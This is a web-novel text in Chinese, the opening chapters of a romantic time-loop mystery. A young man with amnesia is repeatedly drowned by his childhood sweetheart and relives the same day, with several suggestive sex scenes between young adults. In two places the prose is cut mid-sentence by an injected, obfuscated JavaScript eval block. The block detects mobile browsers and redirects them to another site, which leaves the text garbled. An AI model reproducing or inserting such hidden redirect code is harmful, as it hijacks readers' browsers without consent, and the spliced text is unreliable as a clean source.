《我掉进了爱的死循环》 1. 第一杀 在一场突如其来的谋杀来临之前, 我们的爱情本来美得像一个童话。 像很多庸俗的都市言情小说一样, 故事的开始, 是一场莫名其妙的失忆。 “我是谁?” “我为何要来到这人间?” 混沌的意识,懵懂如初生的婴儿,在我的躯体中左冲右突,却找不到出口。 忽然,唇上传来奇妙的触感,咦,那是什么,小小的两片,软软的,柔嫩、水润、凉爽、香甜。 我本能地贪婪吮吸着,这人间赐予我的第一道美味。 突然,一股温热涌入唇间。 那是女神吐出的一口仙气,暖流瞬间游走我的全身,唤醒每一寸魔法冰封的血肉,活力在血管中潮水般奔涌,精气神充盈四肢百骸——我猛然睁开了双眼。 女神,当真是女神。 映入我眼帘的,是一张令人窒息的完美容颜,近在咫尺,纤毫可辨。 优雅的鹅蛋脸,不施粉黛,天然青春逼人,肌肤白嫩,如新雪,鼻梁挺直,如玉琢,双眸灵动,如月夜秋波,睫毛黑密,悬着晶亮的水滴,不知是晨露,还是泪珠,长发乌亮,湿漉漉散着,发梢飘荡,拂扫在我的脸颊。 太完美了,人间不可能有这样的美女,一定是女神下凡。 而这女神便是你,我对你一见钟情。 只一瞬间,我便下定了决心,低入尘埃,做你的裙下之臣,爱慕你,膜拜你,取悦你,即是我这一趟人间之行的全部意义。 但是你,我的女神,却被我吓了一跳。 “天迪,你吓死我了!”你如释重负地欢笑着,声音甜甜糯糯的,“多亏我在校泳队学了急救,不然你今天要淹死在我家泳池里了。” 呃,怎么女神好像跟我很熟嘛。 我这才打量四周。 原来,我正仰面躺在一片洇湿的原木地板上,只穿着泳装。身边是一块泳池,泳池很大,泳池对面没有边际,一大方碧水,神奇地悬浮在空中。泳池一端的墙上,挂着一面巨大的时钟,显示现在的时间是:七点十五分。 而你,身着桃红色的比基尼,湿漉漉的,正迎面骑跪在我的身上,骑马一般欢笑雀跃,双手撑住我的胸前锯肌,弹力十足的双臀,滚轮一般碾压着我的小腹。 我只觉从小腹内胞宫勃发一股热力,沿督脉,经会阴,周行全身,直冲脑内,我无法自控,一把搂住你狂吻。 你失去重心,温软的身体完全贴伏在了我的身上。 久别重逢一般,温存良久后,我才略微松力,你趁机奋力推开我,重新坐起身来。 你娇羞地绯红了脸庞:“讨厌,有人欸。” 我这才看到,花园草坪的对面,是一栋大约六层楼那么高的欧洲宫殿式别墅,门前的大理石台阶前站着两个人,一个着黑衣的黑瘦的中年男人,一个着白衣的白胖的中年女人,两人正用诡异的眼神,盯着这头目不转睛。 不知何故,虽然这是我第一次见到他们,我只觉他们的眼神阴测测的,充满敌意,两人一黑,一白,让我不禁联想起黑白无常。 我脱口而出:“他们是什么鬼?” 你意外于我的问题,笑出声来:“你失忆了吗?他们是……”你调皮地吐吐舌头,故意逗我,“我爸妈。” 我望着你,默不作声,只是呵呵傻笑。 你笑得愈发肆意:“天迪,你怎么用这么诡异的眼神看我——你不会真的失忆吧?” 我依旧不置可否,只是傻笑。 你敛起笑容,困惑地轻轻蹙起秀眉:“那你说,我是谁?” 我继续傻笑。 你这才有些担忧了:“天迪,你怎么像是丢了魂似的?欸,见鬼啦,你好像每年中元节都会犯病?” 我只会傻笑,因为对你连续的几个问题,我都一无所知,我的记忆如同一个初生的婴儿,这是我的第一个中元节,也是第一个在人间的日子。 你坐不住了,迟疑着站起身来:“天迪,今天外面好晒,我们回室内聊吧。” 没有你的身体压着,我突然感觉体力勃勃无处安放,一个鲤鱼打挺便站起身来。 唐突的炫技,连我自己都出离尴尬,你却丝毫未觉异样。 你体贴地挽着我走向别墅,头自然地侧靠在我身上,湿漉漉的秀发随意散落着,不时撩拨我裸露的肩头。 花园小径的正中央,懒洋洋趴着一只黑猫,走进了看,却是一只黑玳瑁,它见我们走近,先是警觉地抬头瞪圆眼睛,紧接着压低双耳,弓起后腰,浑身炸毛,然后便扭头一溜烟窜进了路边的花丛。 你狐疑地望了我一眼:“怎么MOUSE见了你也跟见了鬼似的?” MOUSE是什么鬼?哦,就是猫,竟是个谐音梗。 那一对中年男女盯着我们一路走过花园小径,两眼始终一眨不眨。 特别是那个白胖女人,越走越近,我看得越清楚,她的眼神里仿佛交织着十几种复合的情绪:羡慕、嫉妒、怨恨、欣喜、激动、骄傲、担忧、悲伤、痴狂……而且,为什么她将自己的食指咬在自己的唇齿之间,都咬出血来了却浑然不觉? 那个黑瘦男人的眼神就简单得多,只用一个词就能形容:憎恶。 我从白胖女人身旁走过的瞬间,她突然冲我使劲努嘴,我莫名其妙,对面的黑瘦男人两道严厉的目光扫射过来,那白胖女人立即恢复了肃穆的神情。 中年黑瘦男人用力拉开半边大门,别墅的大堂展现在我的面前,虽然我有所预期,但还是被惊呆了。 金碧辉煌,我不是个语言贫乏的人,但是此刻能想到的唯一贴切的形容词就是:金碧辉煌。 大堂足有三层楼高,欧式装潢,极尽奢华,屋顶的壁画上,几十个大小天使四散奔逃,一个个光溜溜的,如受惊的鱼群,屋顶上大小各色吊灯密布,占据正中央位置的,是一个超大型水晶吊灯,足有一层楼那么高大,泰山压顶一般,要压出我的卑微和渺小。 我终于沉不住气了,不自信地怯怯问道:“这是你家?” “当然。”你眉头紧蹙,愈发困惑,“你真的失忆了吗?” 我又报以傻笑,自己也不得而知这个问题的答案。 你轻轻亲了亲我的脸颊:“天迪,别急,我们先一起简单冲个凉,然后去餐厅慢慢聊。” 我以为你是在邀请我共赴鸳鸯浴,推开浴室大门,才发现是自己想多了,里面有一排一模一样的四个淋浴间。 那白胖女人跟了进来,裹来一阵廉价脂粉的浓烈香气,她艳红的唇几乎贴到我的臂膀,轻轻吐出两个字:危险。 我这才注意到,脚下瓷砖地面上不协调地摆着一个警示牌:“小心地滑”,配的英文翻译却是:“CAREFULLYSLIDE”。我不禁出戏地莞尔一笑,如此高档的别墅里,怎么可能会出现如此低级的错误,这个BUG一定要改掉。 淋浴间被装修成了热带雨林的风格,莲蓬头的水流量很大,哗哗的水声好似暴雨,将我与现实暂时隔离开来,我一边沐浴,一边苦思冥想。 我失忆了吗?亦或是,我曾有过记忆吗? 更不可思议的是,我上一世究竟积攒了多大的功德,才修得这等泼天的艳福,高攀上了你这样的女神? 淋浴间的门突然被推开,我慌忙用双手上下遮蔽自己,进来的竟是那个中年白胖女人,她幽怨地剜了我一眼,先喉头一动咽了咽口水,才压低声音,没头没脑地来了一句:“等下来厨房找我。”说完便慌忙退了出去。 哗哗的水声中,我的心思却都还完全在你的身上,丝毫未将她没来由的话放在心上。 我来到客厅时,你已换好了衣服,在沙发上闲坐。你虽只是松松垮垮的一身简单牛仔T恤,像普通的邻家女孩,却掩饰不住身材曲线玲珑起伏。依旧不施粉黛,你的绝世容颜不需要分毫修饰,脸上每一处线条的起承转合,都鬼斧神工一般,恰到好处。 茶几上摆着一盘切成薄片的西瓜,两杯温热的红茶。 那个白胖女子站在一个墙角,若无其事,专注地对着手机念念有词。 一见到我,那个白胖女子便快步迎了过来,逼近我极力压低声音说道:“TA要杀你。” 什么?我初来乍到,能有什么仇家?TA又是什么?是他?是她?是它?甚至抑或是祂?我不敢相信自己的耳朵,本能的反应是:“啊?!” 你被惊动了,从沙发上站起身来。 白胖女子有些慌乱,嘴里冒出更加诡异的一句话:“需要乳腺疏通服务吗?” 我一头雾水,无辜地望向你。 你走过来,将一片西瓜硬塞进那白胖女子的嘴里,毫不客气地将她推走,然后拉我贴着你坐下,递给我一杯热乎乎的红茶,关切地问我:“天笛,你怎么啦?要不要去医院好好做个检查?” 我望着你傻笑:“你能不能就当我是真的失忆了,给我讲一遍我们的故事?” “天笛,别闹了,我真的很担心你的,你刚才会不会窒息太久了,损伤了大脑……” “要不你就当我们已经都老了,我老年痴呆了,你能帮我重温一遍我们年轻时候的往事吗?” 你经不起我低声下气地再三央求,无奈地叹了口气,便开始耐心地娓娓讲述我们的故事。 红茶一道道清香沁人心脾,你的故事童话一般如梦似幻。 你和我的上一辈便是至交好友,我们的母亲更是将我们指腹为婚。 我们同年同月同日出生在同一家医院,一起吃奶,一起断奶,一起学走路,一起学说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030611|194538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从幼儿园到小学、从初中到高中,我们一直都是同班同学,我们一同参加所有的兴趣班和培训班,一起过每个周末,当然也必定会一起过每个生日,实际上,每次我们都只举办同一个生日PARTY,用我们两个人的名义:卓雯佳&谢天迪。 截至这个暑假,我们大概是这个世界上最幸运的人了。 然而现在,我们携手同行的人生,第一次走到了岔路口:我们高三毕业了,你考上了优国顶尖大学,而我,却至今未收到他们的录取通知书。 以上便是你口中的我们的故事,第一个版本。 你柔声埋怨我:“为什么每次月考和模拟考,你的成绩都紧紧追着我,可一到真正考试的时候,你却掉链子了呢?你不会是因为不想去优国,故意不好好考吧?” 我避开你责备的眼神,委婉地提醒你:“女神,有没有另外一种可能,是因为我觉得自己配不上你呢?” 你没有正面回答我,而是轻轻叹了口气,拽着我的胳膊,来到浴室旁的衣帽间,里面摆满外套、鞋、帽和伞,整整一面墙就是一面巨大的穿衣镜。 你依偎在我身边,头自然地侧放在我的肩头,粲然一笑,反问我:“你是真的失忆,还是明知故问?你自己看,我们般配吗?” 我望着镜子里的我们,不得不承认,这简直是一对完美璧人。原来,不只是你美得超凡脱俗,我自己也丝毫不逊色。在镜中,能清晰对比出我们两人的身材。你的身材更具女性魅力,前凸后翘,尽显妖娆妩媚;而我比你高出一头,身材修长,最大的亮点便是那两条大长腿。我们的脸庞不仅同样俊美,简直就是美得如出一辙,再配上一样的自然的黑长直发,相同的粉紫T恤与淡蓝牛仔,简直会让人误以为我们是一母同胞。 难道是因为我们年纪轻轻就已经相处太久,所以长成了夫妻相? 我只能如实回答:“配,实在太配了。”但其实为时已晚,我对你的自卑已病入膏肓。 你笑着骄傲地说:“那当然,他们都说,我们是天造地设的绝配!” 可我依旧不自信:“恐怕我还有别的顾虑吧,不只是外表方面。” 聪明的你立刻就领会了我的所指,眼中再度流露出不安和困惑:“亲爱的,你难道真的失忆了吗?我陪你回家休息一会儿吧。” 车库里十几辆各色豪车,那个黑瘦男子开出了一辆法拉利SUV。 他小跑着为我们打开车门,等我们在后排坐好后,他便重新上车,启动,出发。 我自然不信他是你的父亲,明知故问:“让伯父帮我们开车不太合适吧?” 你咯咯笑出声来:“你到底是不是真的失忆啊?这样也能骗到你?他是边叔,我们家的司机兼保安。你之前见过的那个阿姨,是曼姨,负责做饭和打扫卫生。我爸妈和你爸妈已经一起先去优国了,他们说是趁着次贷危机房价下跌,要帮我在校园附近捡一套大HOUSE。” 不过一分钟,车刚刚起步还没热起来呢,就驶入了同一个别墅区的另外一栋别墅院子。 不得不说,我的担心是多余的,我们两家是名副其实的门当户对,从外面看,别墅的大小和风格相差无几,进里边看,硬装软装也都颇多神似,两家装修互相抄袭的痕迹非常明显。 我们所到之处,几道大门自动开启。我家空无一人。 你显然熟门熟路,领着我搭乘电梯直上六楼,来到一个房间门口,门口一块挂着配有卡通小狗形象的铭牌:学渣之窝,下面的小楷落款是:卓雯佳赠。 你笑着说:“这就是你的卧室。” 我推门进去,顿时觉得自己被自己的审美打倒了。 房间里到处摆满各种玩偶手办,四面墙上贴满爱豆海报,而且都是带签名的限量版。 你显然很熟悉这个房间,所以起初漫不经心,但很快脸上现出怪异,视线所至,是我床边墙上贴着的一张写真。 我也很快注意到了这张写真,是你的等身巨幅照片,身上正是那件桃红的比基尼,你侧身躺着,身材曲线如峰峦沟壑起起伏伏,一手撑头,笑容暧昧,欲说还休。 床上凌乱不堪,枕边一台SONYPLAYSTATION3,还赫然有几团卫生纸。 你似乎也是头一回见到这张写真,带着娇羞嗔怪我:“你怎么未经我本人允许,就把我的写真贴到你墙上了啊?是不是我出国以后,你要假装让我每晚陪你睡觉吗?”说到这里,你的表情突变,难掩落寞忧伤,“我明天就要飞了,你会想我吗?我,我不想走!”说完,你哽咽起来。 我也黯然神伤,却还要笑着安慰你:“怕什么,我们是指腹为婚,上辈子就定下来的姻缘,你还怕我跑了不成?!” 你却愈加伤感了:“有鬼用嘛,我妈就曾有过一场指腹为婚的姻缘。” 2. 第二杀 我吃惊:“指腹为婚这种事情也能家传?你妈和谁?不是和你爸吗?” 你感同身受,悲从中来:“当然不是。”你突然失声痛哭,藤绕树一般紧紧抱住我狂吻。 我站立不稳,仰面绊倒在自己的床上。海报上的你,对我神秘地微笑。 暑假,封闭的空间,床,两个相爱却即将离别的年轻人,狂跳的心脏,沸腾的热血,决堤洪水一般磅礴汹涌的荷尔蒙,一切的发生都是那么水到渠成。 只为这半个时辰的极乐天堂,这一趟人间便不虚此行。 肌肤犹烫,喘息未定,我们在床上紧紧相拥,你流着泪说:“天迪,这是我的第一次!我爱你!我只爱你!你爱我吗?你会想我吗?你会永远记着我吗?” 我却胡思乱想:一见钟情是爱吗?似火情欲是爱吗?恋恋不舍是爱吗? 十八岁的我并不自信懂得爱情,只能含糊地回答:“爱。”然后刻意岔开话题,“明明只有我们两个人,怎么会玩出了3P的感觉。” 我自己一开口,便意识到这个玩笑开得不合时宜,只是没有撤回的选项。 果然,你脸色骤变,劈手便撕下了床边自己的那张写真海报,我试图阻拦你却慢了一步。 我慌忙道歉:“对不起,怪我口误。” “没有口误,口误都是内心的流露。”你将手中的海报团成一团,在我眼前高高举起:“这就是你成绩突然滑坡,没考上哈佛的原因吗?” 我虽然也不知道你这个问题的真实答案,但本能地否认三连:“不是的!我没有!别瞎说!” 你随手将纸团像投篮一般,准确地投入了对面书桌边的纸篓,又抄起枕边的SONY游戏机举过肩头,更加恼火:“那就是它了。天笛,你不知道人的生命有多短暂、我们的时间有多宝贵吗?可悲,你竟然把宝贵的时间浪费在游戏上,哼,更可悲的是,我竟然会把时间浪费在你的身上!” 我自认理亏,使尽浑身解数哄你,半天才将你哄好,你仍眼泪汪汪:“天笛,我相信我们的明天一定会更美好,但是红颜易老,青春易逝,我们一定要不负韶华,拼尽全力。” 我嘴上赌咒发誓,痛改前非,心中却不解你何故如此小题大做。明明十八岁的年纪,大把青春可以挥霍。 回到你家,午餐已经准备好了。 曼姨又在专心致志对着手机自言自语。我们走到餐桌旁坐下,她才惊觉失态,慌忙放下手机,帮我们准备碗筷餐具。 偌大的餐桌,我们却紧紧依偎在一角。吃了没几口,你索性坐到了我的腿上,撒娇要我一口一口地喂你。 我不经意瞥见曼姨,她怨毒的眼神正笔直刺向我,仿佛要用眼神当成刀子杀了我。 我这才想起早上她莫名其妙的要求,但依旧置之不理,也没告诉你。 午餐后,你说要午休,要为去优国转换时差做好准备,因为那里是地球的对面,昼夜白黑颠倒。 我们依偎着一起乘电梯去六楼,你的卧室在六楼,你给我找的客房也在六楼。 我睡不着,反复琢磨你的心思,最后还是色心占了上风。我悄悄摸到你房间门口,转动你卧室的门把手,暗自窃喜,果然门没锁。 这种事只有零次和无数次,食髓知味,便欲罢不能。 我们颠鸾倒凤,缠绵悱恻。 其间你哭了好几次,哭起来便拼命抱我更紧。 也不知折腾到几点,我们才一同昏昏睡去。似乎刚刚睡着,床头电话便响了,曼姨要你下楼吃下午茶,又说她找不到我,要你顺便叫我一起下去。 我们穿好衣服,你双手递给我一个方正的白色纸盒:“这是IPHONE,我爸妈在优国给我买的,转送给你。” 我接过礼物,下意识问道:“哇哦,这是IPHONE几?” 你愣了一下:“IPHONE还有区分几吗?就是IPHONE啦,2007年优国最新出品的智能手机。希望你每天看到它便记得给我打电话。” 我满心感动,更无法接受才一见钟情就要天各一方:“我舍不得你走。” 你再次抱紧我:“只要我们一起加油,明天就一定会更好。” 我们手挽着手来到餐厅。 餐桌上十几种各色水果坚果甜点,每样都只有小小一碟。饮料仍是红茶,但改为冰红茶,用两只水晶玻璃杯盛着,沉小半杯冰块,浮一片柠檬。 曼姨仍是对着手机念叨着什么。我们走到近前,她方才觉察,整衣肃立。 我又看到了曼姨怨毒的眼神,那怨毒之深,让我疑心她会在食物里下毒害我。 我故意将你的注意力引向曼姨,可你的目光一扫过去,曼姨瞬时切换成驯服谄媚的表情。 你挥手屏退曼姨,凝视我片刻,鬼魅一笑,平地一句话雷得我外焦里嫩:“天迪,你今天为什么一直傻盯着曼姨?你不会看上我们家曼姨了吧?” 我做梦也没想到,今天会有这样的无妄之灾,刚才你还开玩笑她是你的妈妈,转眼她又成了我的出轨嫌疑人,我哭笑不得:“雯佳,我怎么可能看上曼姨,你这尺度未免也太大了吧。” 你却不肯放过:“怎么不可能呢,曼姨可比我成熟稳重多了,不像我这么爱使小性子。” 明明纯属欲加之罪,我还只能假戏真做地自我辩护:“她虽然化着浓妆,看不清准确年龄,但应该都快四十岁了吧,有谁会喜欢那么老的女人。” 不料这样的说辞,又触动了你另外一根敏感的神经:“嗯哼,对,总有一天,我也会老的,你会一样嫌弃我的,对吗?” 几个会合的较量下来,我便知道自己是断说不过你了,越辩恐怕只会越乱,我犹豫了一下,咬咬牙还是实话实说算了:“是曼姨,莫名其妙说要我去厨房找她。” 不料你却脸色更阴沉了:“编,继续编。是不是等我一气之下,把她炒了鱿鱼,你们就可以自由交往了?” 这话让我怎么接呢,我理屈词穷了。 冷场半晌,你幽幽说道:“今天是农历七月十五,牛郎织女一年一度相会,金风玉露一相逢,之后便是一年清冷,鬼影都见不着了。人间不值得,不如相忘于江湖。” 文化有鸿沟,学霸的世界学渣不懂,我正要开口质疑,蓦然又想起指鹿为马的典故,疑心这是你为我构设的求生欲测试。 你轻戳我的前额:“如果我不会急救,你今天早上就已经死了。” 这句我听懂了,忙鸡啄米般点头:“嗯嗯,感谢女神救我一命。” 你叹了口气:“天迪,你真没骗我,真的失忆了吗?真的不记得早上发生什么了吗?唉,好吧,我陪你去重演一遍早上的事情吧,也许能帮你回忆起什么。” 这一次看清楚了,是个无边际泳池,靠海的那一侧,水面正好没过了池壁,缓缓溢淌,黄昏的阳光将一池碧波短暂地染成了金色。 我追随你游到对面靠海的池壁。你背靠池壁站好,荡漾的池水没到你天鹅般优雅的脖颈。我将双手撑在你背后的池壁上,俯视你,像欣赏我的猎物。 外人看到的画面是:夕阳打在我的后背,高大的我,在壁咚弱小的你。 真正的猎人却是你。 你简洁地命令:“吻我。” 我乖乖地低下头去吻你。 你却调皮地略一矮身,我的嘴唇只触到了你的鼻尖。 我不肯放弃,更俯身低头去捕捉你的嘴唇。 你却再次矮身躲避,我又只吻到你的鼻尖。 就这样,一寸一寸,你将自己整个头部都没入了水下,三番五次逗弄之后,你才允许我在水下吻上了你的嘴唇。 起初是我在主动,慢慢地,攻守易形,你越来越主动,啧啧有声疯狂吮吸我口中的津液,然后,又探出滑润的舌尖,深深侵入我的舌底搅动。 时间在痴狂的缠绵中缓缓流逝,一秒一秒,一分一分,我的大脑中,氧气越来越淡薄,快感却越来越强烈,如梦似幻,欲罢不能。 不知不觉间,我的意识已经慢慢抽离了躯体,漫无目标地像水波一样飘荡,浮浮沉沉。 太阳徐徐落下,黑暗蹑手蹑脚降临,笼罩大地,掩盖一切。 你猛力推开我,独自浮出水面。 我的身体向后缓缓瘫倒,水浪为我向两侧分开。我眼中最后的景象,透过波浪,是你过度悲伤而扭曲模糊的脸庞,像梵高的呐喊。你的最后一句话,拉着长长的哭腔,声音先经过一段空气,再经过一段水波,才传递到我的鼓膜,嗡嗡作响听不真切,像来自另外一个世界。 “你不爱我!你不爱我!他们说你对我的爱根本不是真的!!!” 这是哪里,无边无际的黑暗和死寂,这就是传说中的地狱吗?还不算太坏吧。 等等,好熟悉的黑暗和死寂,这不就是今早我来时的所在吗? 无边的黑暗和死寂中,知觉和意识渐渐弥漫、消散,最终归零。 以上是我第一次死在你的手上。 我明明第一眼就已经爱上了你,你为什么会怀疑,我的爱不是真的呢? 我好后悔自己的自卑和怯懦,没有向你明白表达我心中的爱。 可具体又是因为什么事情,你开始怀疑我的呢? 只是因为,我多看了曼姨两眼吗? 这样的罪,至死吗? 想不通,冤。 忘川冰封。彼岸花开。地狱无门。 瑞不忒杠乂复。 混沌中,我的意识重新汇聚、凝结。 但我的身体仍然冰冷而僵硬。 一股熟悉的湿热的仙气注入我的口中,我猛然睁开双眼。 是你,我的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030612|194538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神,分毫未变。 我们正脸对脸,鼻尖贴着鼻尖。 “讨厌,你吓死我了欸!”你坐起身来,夸张地拍着胸口,声音带着点嗲嗲的台湾腔,“多亏我在校泳队学了点急救的三脚猫功夫,不然你今天早上就要淹死在我家的游泳池里了。” 是啊,死里逃生,还好你会急救。 等等。 为什么是早上?我刚才溺水昏迷的时间不是在黄昏吗? 难道,我陷入了时间循环,带着这一天的记忆,又回到了早上重生的同一时间? 我打量四周。 像早上一样,我正仰面躺在一片湿漉漉的木地板上。身边是泳池,大概是因为我躺着,视角太低的缘故,我看不到泳池对面的池壁,视觉效果就好像,池水悬浮在空中。泳池一端的墙上挂着巨大的液晶数字时钟,清晰地显示,现在的时间是七点十五分,AM,早上,没错,阳光正明媚。 而你,也跟早上一样,身着桃红色的比基尼,迎面骑坐在我的腰胯上。 我的记忆和情绪都还未出离那个被强行中断的水下深吻,花开堪折直须折,我不及细想,一把搂住你,继续。 你匍匐在我的身上,温柔地蠕动。 摩擦生热,我冰冷的身体越来越暖,越来越热,逐渐恢复了正常的机能。 我脑中灵光一闪,哪里不对,等等。 我突兀地推开你,再次将目光投向泳池一端的液晶时钟,时钟最上面较小的一排数字是日期,为何是2008年8月15日?那是一年之后啊!我的记忆为何出现了一年的空白? 我小心翼翼地求证:“雯佳,今年是2008年吗?优国次贷危机结束了吗?” 你不悦地站起身来,怼道:“当然啦,次贷危机都一年了还没结束,你怎么了啦?刚才没被淹死,脑子进水了吗?” 我一时语塞:“外面太阳太晒了,我们先回室内,我慢慢跟你解释。” 我活动了一下肩膀,感觉元气满满,心里盘算着,还好,只是老了一年而已,可以忽略不计。 果然,我一个鲤鱼打挺便轻松地站起身来。 我默默拥着你,漫步走过花园小径。正值盛夏时节,满眼葱茏绿意,大部分鲜花花期已过,但沿路两侧脚边的绣球花仍在盛开,姹紫嫣红,一大丛半人高的粉色百合怒放,芳香浓郁扑鼻。 上一次怎么没注意到这丛香水百合呢?大概当时,我的全部注意力都只在你身上,而这一次重来,我才有闲情逸致欣赏风景。 嗯?这别墅怎么跟我记忆中的相比,小了那么一点点儿。 还是那对中年男女侍立在门口,眼神中对我充满敌意。 别墅大门被拉开。 别墅大堂跟我印象中一模一样,金碧辉煌,穷奢极侈,还是正中央的巨型水晶吊灯最抢眼,像一座倒挂的巨树,结满水晶果实,晃晃悠悠的,我疑心它会掉下来,将我砸成肉饼。我这次才注意到穹顶壁画的全貌,上方光线较好的地方,一群群光屁股的天使自由飞翔,表现的是天堂,两翼光线昏暗的地方,人群惊恐万状,□□拥挤踩踏,扭曲变形,描绘的是地狱,对面最正中,是一个高大的络腮胡子男人,相貌极威严,却一样地一身肌肉疙瘩没穿衣服,应该就是上帝,这是古典名作《最后的审判》的□□高仿。四周墙壁上挂满西式油画,壁龛内艺术珍藏琳琅满目。家具桌椅却不是很多,更显得大堂大到空旷。 我牵着你径直走向浴室。推开浴室大门,我愣了一下,一排一模一样三个淋浴间,我记错了?亦或是,是谁拆了一个淋浴间这么无聊? 地面上还是摆着那个“小心地滑”警示牌,哦,换过了啊,配的英文翻译已经更正为“CAUTIONSLIPPERY”。这才对嘛,黄金三章,一字千金。 这一次,我反锁了淋浴间。 正所谓“瓜田不纳履,李下不整冠。君子防未然,不处嫌疑间”。 我一边淋浴,一边留意着门口的动静。 果然,不一会儿,隔着毛玻璃门,一个偏胖女人的人影出现了。门轻轻咔咔响了几下,那个人影才一声不吭地走远了。 肯定是曼姨,究竟是什么事情这么着急,非要闯进淋浴间来找我呢?我实在想不出头绪,随后又有点后悔了,早知道自己好奇心这么重,就不该把她拒之门外。 我心中惴惴,随便冲了几下便草草了事,匆匆穿好衣服走向客厅。 曼姨侧对着我,背靠在一个门框上,小镇布尔乔亚风的低胸碎花连衣裙,多肉的身躯极限凹成大S造型,活脱脱一副发廊妹倚门揽客的形象。如果不看那张浓妆艳抹的脸,单单看她文艺复兴油画风格的丰腴美体,倒也勉强当得上你对我的怀疑。 曼姨正心不在焉地对着手机念叨着什么,一见我进客厅,她便神色紧张地向我快步走来。 3. 第二杀续 曼姨正急切张口要对我说些什么,恰好你款款走来,曼姨一愣,唐突地来了一句:“需要打通任督二脉服务吗?” 我莫名其妙。 你瞪了曼姨一眼。 曼姨慌忙低头,假装为我们沏茶。F&M,三百多年历史的英国皇室御茶,老镇玫瑰,两百多年历史的戴安娜同款镀金骨瓷茶杯。 如果不是重来一次,我还真就错过了不止一点半点。 我这才发现,果盘中的西瓜切片,看似奇形怪状杂乱无章,实际上,一片片西瓜居然是一张张各有各趣味的笑脸,红瓤修成各种锥子脸的脸颊,一弯黑间绿瓜皮,正好是笑脸的头发,几粒恰到好处保留在原位的瓜子,正好冒充双眼口鼻。万万没想到,曼姨这半老徐娘艳俗的皮囊下,裹着的竟是如此一颗七窍玲珑的少女心。 OHMYGOD,我不会被你误导,真的CRUSH上老阿姨了吧。 曼姨正躲在你的背后,对我挤眉弄眼,嘴巴张张合合,凭着口型,我知道她想说的是:“来厨房找我。” 这该死的默契。 完了,这么眼神一对,我又要百口莫辩了。 还好,你大概没有发现。 大屏幕上正在播放奥运会游泳比赛。 我信口一句:“菲尔普斯要拿金牌了吧。” 你笑骂:“菲尔普斯已经五块金牌了,今天估计要六块了。你失忆了吗?” 我也吃不准,我隐约知道菲尔普斯会拿八块金牌,但是却不记得这一年我们两人之间的所有事情,这算失忆吗?可我知道菲尔普斯有什么用,我也不关心菲尔普斯,只关心你。所以我还是老老实实承认算了:“雯佳,我好像似乎的确是失忆了。” 你瞪大眼睛望着我,将信将疑,惴惴不安地将食指尖放在樱唇间轻咬:“不可能欸!你耍我!”你指了一下曼姨,试探我,“她叫什么?” 我开了个玩笑:“不用诈我,她不是你妈。” 你却正色道:“天笛,我是关心你,你怎么能开这种玩笑。” 什么?只准州官放火,不准百姓点灯? 你示意曼姨退出。 在我坚持之下,你还是,就着热红茶,再次讲述了我们的故事。 我家是在我两岁的时候搬到这个别墅区的,偶然得知我们两人居然是1989年8月16日同一天出生,我们顺理成章地成为了青梅竹马的玩伴,从幼儿园到小学、从初中到高中,我们都是同班同学。甚至小学时我们全程一直是同桌,上课时也叽叽喳喳小话说个不停。我们每天孟不离焦,焦不离孟,形影不离,当然每年也都会一起过生日。 高中毕业后,你考上了优国也是世界第一的哈利波特佛法学院,而我只考上了差了能有十八个档次的东北大学。我选择放弃东大,留在魔都上了哈佛魔都分校。 以上便是你口中的我们的故事,第二个版本。 故事讲完后,你责怪我:“都怪你,虚荣心作怪吧,一定要跟我上同一所大学,却远在地球的对面。你要是去上东大该多好,和哈佛总校一样,都在麻省剑桥,直线距离六公里,地铁二十分钟,这样我们至少每个周末都能在一起。” 我心中盘算,这么说来,这一次,我不仅少了最近一年的记忆,还少了最早两年与你同处的时光,还好那两年只是没有任何记忆的婴儿阶段。 我也对自己当时的选择不以为然:“为什么我这么傻?怎么可能放心将你这么惹火的美女,独自丢在虎狼成群的蛮夷之地?” 你幽怨地瞪了我一眼,回道:“你当初自己的那些歪理,现在却不认账了。你当时说,两国的假期不同,无论哪边放假,我们都能飞到对方那里,这样我们两边假期的并集都能一起度过。更重要的是,哈佛魔都分校有三四年级转去总校的交换生计划。” “那也还是经常会一两个月都见不上面了。” “天迪,你真的失忆了吗?我们后来又想出好办法,我们同步飞往夏威夷,这样我们每个周末都不会虚度了。” “那可就辛苦了你啦。” “可不就是嘛,我爸妈已经严令我大二必须乖乖留在学校啦。” “那可怎么办呢?” “又能怎么办?他们没有反对我们交往,这就已经很开明了好吧。话又说回来,你如果当初愿意去东大,就不会这么麻烦了。” 我弱弱地感慨:“说到底,我还是配不上你。” 你拽着我来到衣帽间:“别凡尔赛了啦,来,照照镜子信心就恢复了,你看我们多么般配。” 我看着镜子中的我们,不免感慨,老天也太不公平了,竟然生出这样一对天造地设的神仙眷侣。 平时不看镜子,我的眼中只有你的美,殊不知,我只顾沉迷你的美,对自己的美却不尽自知。实际上,我们的美平分秋色,你的美超凡脱俗,我的美也自有韵味。也难怪你总疑心我,难怪曼姨异样看我。 我们不约而同穿着紧身牛仔裤和印有哈佛字样的圆领衫,只不过,你的是象牙白,我的是中国红。 跟一年前相比,我们两人的外形几乎没有变化,只是两人的黑长直发,不约而同多了几缕鲶鱼须刘海。 两人相视而笑。 但是两人的气质都有了明显的变化,都已经大致褪去了高中生的青涩,成了更独立更自信的大学生,不过,你似乎熟得更透一分。 我急着回家看看有无变化,你片刻都不舍得与我分开,便与我同行。 